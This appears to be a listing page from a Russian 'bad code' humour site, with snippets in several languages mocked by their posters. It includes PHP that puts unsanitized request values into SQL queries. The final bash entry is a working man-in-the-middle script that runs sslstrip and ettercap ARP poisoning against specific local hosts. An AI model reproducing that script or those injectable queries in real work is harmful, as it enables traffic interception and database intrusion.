1. Лучший говнокод

    В номинации:
    За время:
  2. Python / Говнокод #18477

    −146

    1. 1
    http://bugs.python.org/issue16203

    Меня всегда интересовало, зачем в питоне аж 3 функции поиска в регекспах re.search, re.match, который re.search("^"+regexp) и re.findall, который просто возващает список без всяких извратов (как в перле?). И вот я узнал, что этого гавна мало - в 3.4 добавили re.fullmatch, который re.search("^"+regexp+"$"). Нахуя так жить?

    3_14dar, 14 Июля 2015

    Комментарии (49)
  3. SQL / Говнокод #18425

    −176

    1. 1
    and (ss_1<>'SS0001' or ss_1<>'SS0002' or ss_1<>'SS0010')

    Сегодня на продакшене было обнаружено гениальное выражение в одном из запросов.

    mishok, 01 Июля 2015

    Комментарии (49)
  4. Ruby / Говнокод #17575

    −126

    1. 1
    2. 2
    = simple_fields_for @med_program_template do |f|
      - form ||= f # Страшное коварство

    FancyDancy, 04 Февраля 2015

    Комментарии (49)
  5. C# / Говнокод #17489

    +95

    1. 01
    2. 02
    3. 03
    4. 04
    5. 05
    6. 06
    7. 07
    8. 08
    9. 09
    10. 10
    11. 11
    12. 12
    13. 13
    14. 14
    15. 15
    16. 16
    17. 17
    18. 18
    19. 19
    20. 20
    21. 21
    22. 22
    23. 23
    24. 24
    25. 25
    26. 26
    27. 27
    double[,] ThreadMatrixMult(int size, double[,] m1, double[,] m2)
            {
                double[,] result = new double[size, size];
                var threads = new List<Thread>(size);
                for (int i = 0; i < size; i++)
                {
                    var t = new Thread( ti =>
                    {
                        int ii = (int)ti;
                        for (int j = 0; j < size; j++)
                        {
                            result[ii, j] = 0;
                            for (int k = 0; k < size; k++)
                            {
                                result[ii, j] += m1[ii, k] * m2[k, j];
                            }
                        }
                    });
                    threads.Add(t);
                    t.Start(i);
                }
                
                foreach (Thread thread in threads)
                    thread.Join();
    
                return result;
            }

    LispGovno, 21 Января 2015

    Комментарии (49)
  6. Pascal / Говнокод #17484

    +91

    1. 01
    2. 02
    3. 03
    4. 04
    5. 05
    6. 06
    7. 07
    8. 08
    9. 09
    10. 10
    11. 11
    12. 12
    13. 13
    14. 14
    15. 15
    16. 16
    17. 17
    <? die;
    
    if($_GET['tn'])
    {
    	if(($i = $conf['settings'][$s = "{$arg['modpath']}=>img"]) && ($img = explode(",", $i))){ $tn = array_combine($img, $img); }else{
    		$tn = array($_GET['tn']=>preg_replace('/[^0-9a-z_]/', '', $_GET['tn']));
    	} $sql = "SELECT `". mpquot($_GET['fn'] ? $_GET['fn'] : "img"). "` FROM {$conf['db']['prefix']}{$arg['modpath']}_{$tn[$_GET['tn']]} WHERE id=".(int)$_GET['id'];
    	$file_name = mpopendir("include")."/".($fn = mpql(mpqw($sql), 0, ($_GET['fn'] ? $_GET['fn'] : "img")));
    	if(!array_search(array_pop(explode('.', $file_name)), array(1=>"jpg", "jpeg", "png", "gif"))){
    		$file_name = mpopendir("img/ext/". array_pop(explode('.', $file_name)). ".png");
    	}
    }else{
    	$file_name = mpopendir("modules/{$arg['modpath']}/img/". basename($_GET['']));
    } header ("Content-type: image/". array_pop(explode('.', $file_name)));
    echo mprs($file_name, $_GET['w'], $_GET['h'], $_GET['c']);
    
    ?>

    это не шуууутки мы встретились в маршруууутке

    deconf, 20 Января 2015

    Комментарии (49)
  7. PHP / Говнокод #17412

    +151

    1. 1
    2. 2
    3. 3
    4. 4
    5. 5
    6. 6
    7. 7
    $friends = mysql_query("(SELECT * FROM  `friends` WHERE `from` LIKE  '{$act}' AND  `to` LIKE  '{$act}' AND  `isaccepted` =  '1') UNION (SELECT  `id` ,  `name` ,  `surname` FROM  `users_info`);");
    		$friend = array();$loop=0;
    		while($fetch = mysql_fetch_assoc($friends)) {
    			if ($fetch['from'] == $act) $search=$fetch['to']; else $search=$fetch['from'];
    			$friend[$loop]=mysql_fetch_assoc(mysql_query("SELECT `id`,`name`,`surname` FROM `users_info` where `id`='{$search}'"));
    			$loop++;
    		}

    Почему не работает?

    yanislavb, 05 Января 2015

    Комментарии (49)
  8. C# / Говнокод #16536

    +121

    1. 01
    2. 02
    3. 03
    4. 04
    5. 05
    6. 06
    7. 07
    8. 08
    9. 09
    10. 10
    11. 11
    12. 12
    13. 13
    14. 14
    15. 15
    16. 16
    class Program
    {
    	static int x = 0;
    	
    	static int f()
    	{
    	x = x + 10;
    		return 1;
    	}
    	
    	public static void Main()
    	{
    		x += f();
    		System.Console.WriteLine(x);
    	}
    }

    Следите за руками! Чему же в итоге равно x?

    Проверить себя: http://ideone.com/v8rktM

    Источник: http://blogs.msdn.com/b/oldnewthing/archive/2014/08/14/10549885.aspx

    someone, 15 Августа 2014

    Комментарии (49)
  9. SQL / Говнокод #16195

    −165

    1. 1
    passport integer

    Из дипломной работы. Человек хоть раз открывал свой паспорт?

    bormand, 19 Июня 2014

    Комментарии (49)
  10. C# / Говнокод #15635

    +136

    1. 01
    2. 02
    3. 03
    4. 04
    5. 05
    6. 06
    7. 07
    8. 08
    9. 09
    10. 10
    11. 11
    12. 12
    13. 13
    14. 14
    15. 15
    private Action<Action, Action<Exception>> ToCallbackAction(Action a)
            {
                return (sc, ec) =>
                {
                    try
                    {
                        a();
                        sc();
                    }
                    catch (Exception e)
                    {
                        ec(e);
                    }
                };
            }

    толково или говно? Мнения разделились

    taburetka, 01 Апреля 2014

    Комментарии (49)
  11. bash / Говнокод #14839

    −129

    1. 01
    2. 02
    3. 03
    4. 04
    5. 05
    6. 06
    7. 07
    8. 08
    9. 09
    10. 10
    11. 11
    12. 12
    13. 13
    14. 14
    15. 15
    16. 16
    17. 17
    18. 18
    19. 19
    20. 20
    21. 21
    22. 22
    23. 23
    24. 24
    25. 25
    26. 26
    27. 27
    28. 28
    29. 29
    30. 30
    31. 31
    32. 32
    33. 33
    34. 34
    35. 35
    36. 36
    37. 37
    38. 38
    39. 39
    40. 40
    41. 41
    42. 42
    43. 43
    44. 44
    45. 45
    46. 46
    47. 47
    48. 48
    49. 49
    50. 50
    51. 51
    52. 52
    53. 53
    54. 54
    55. 55
    56. 56
    57. 57
    58. 58
    59. 59
    60. 60
    61. 61
    62. 62
    63. 63
    64. 64
    65. 65
    66. 66
    67. 67
    68. 68
    69. 69
    70. 70
    71. 71
    72. 72
    73. 73
    74. 74
    #!/bin/bash
    FILE="/proc/sys/net/ipv4/ip_forward"
    echo "Время		Наименование				Статус" >> /tmp/for_log.list
    echo "______________________________________________________________" >> /tmp/for_log.list
    iptables -t nat -A PREROUTING -p tcp --destination-port 80 -j REDIRECT --to-port 8080
    IP_FORWARD(){
    while true; do
    
    CT_FORWARD=`cat /proc/sys/net/ipv4/ip_forward`
    if [ "$CT_FORWARD" = 1 ] ;then
    	echo > /dev/null
    else
    	echo "1" > $FILE
    fi
    #sleep 3
    done
    }
    
    CON_ETHERNET(){
    	while true; do
    	echo $(date +%H:%M:%S)"	Проверка интернет соединения		в обработке"  >> /tmp/for_log.list
    	ping -c 3 ya.ru > /dev/null
    		if [ $? = "0" ];then
    			echo $(date +%H:%M:%S)"	Подключение к интернет			есть" >> /tmp/for_log.list
    			START_SNIFFIG
    		else
    			echo $(date +%H:%M:%S)"	Нет интернет подключение		fail" >> /tmp/for_log.list
    			if [ "`ps sx | grep sslstrip | grep -v grep  | awk '{ print $10; }'`" = "sslstrip" ];then
    				$POSE=`ps sx | grep sslstrip | grep -v grep  | awk '{ print $2; }'`
    				kill -9 $POSE >rpmlist 2> /dev/null
    				echo "Процесс sslstrip... убит"
    				echo $(date +%H:%M:%S)"	Процесс sslstrip	убит" >> /tmp/for_log.list
    				else
    				echo > /dev/null
    			fi
    			if [ "`ps sx | grep tcpdump | grep -v grep  | awk '{ print $10; }'`" = "tcpdump" ];then
    				kill -9 `ps all | grep ettercap | grep -v grep  | awk '{ print $3; }'` >rpmlist 2> /dev/null
    				echo
    				echo "Процесс ettercap... убит"
    				echo $(date +%H:%M:%S)"	Процесс ettercap		убит" >> /tmp/for_log.list
    				kill -9 `ps all | grep sslstrip | grep -v grep  | awk '{ print $2; }'` >rpmlist 2> /dev/null
    				echo
    				echo "Процесс sslstrip... убит"
    				echo $(date +%H:%M:%S)"	Процесс sslsrip			убит" >> /tmp/for_log.list
    				else
    				echo > /dev/null
    			fi
    		fi
    		sleep 120
    	done
    }
    
    START_SNIFFIG(){
    	#Проверяем, запущен ли уже сниффер
    	sleep 4
    	CHECK_SSLSTRIP=`ps sx | grep sslstrip | grep -v grep | awk '{ print $10; }'`
    		if [ "$CHECK_SSLSTRIP" = "sslstrip" ];then
    			echo $(date +%H:%M:%S)"	Процесс sslstrip	 	включен" >> /tmp/for_log.list
    			echo > /dev/null
    		else
    			#sslstrip -a -k -f & ettercap -i wlan3 -TqM arp:remote -L  $(date +%d-%m-%Y__%H:%M) /192.168.1.1/ /192.168.1.102/
    			echo $(date +%H:%M:%S)"	Включаю sslstrip			включен успешно" >> /tmp/for_log.list
    			sslstrip -a -f & 
    		fi
    	CHECK_ETTERCAP=`ps all | grep ettercap | grep -v grep | awk '{ print $13; }'`
    		if [ "$CHECK_ETTERCAP" = "ettercap" ];then
    			echo $(date +%H:%M:%S)"	Процесс ettercap	 		включен" >> /tmp/for_log.list
    			else
    			echo $(date +%H:%M:%S)"	Включаю etttercap			включен успешно" >> /tmp/for_log.list
    			ettercap -i wlan0 -L $(date +%H:%M:%S) -TqM arp:remote -P autoadd  /192.168.1.1/ /192.168.1.102/ &
    		fi
    	}
    	
    IP_FORWARD & CON_ETHERNET

    1. Проверяет интернет соединение
    2. При наличии инета врубает sslstrip и ettercap
    3. Если инета нету, ждем 2 минуты, и повторяем проверку заного
    ___________
    Галимый полуавтоматический скрипт, писал челу под телефон на котором виртуалка линухи

    MassEnjoy, 23 Февраля 2014

    Комментарии (49)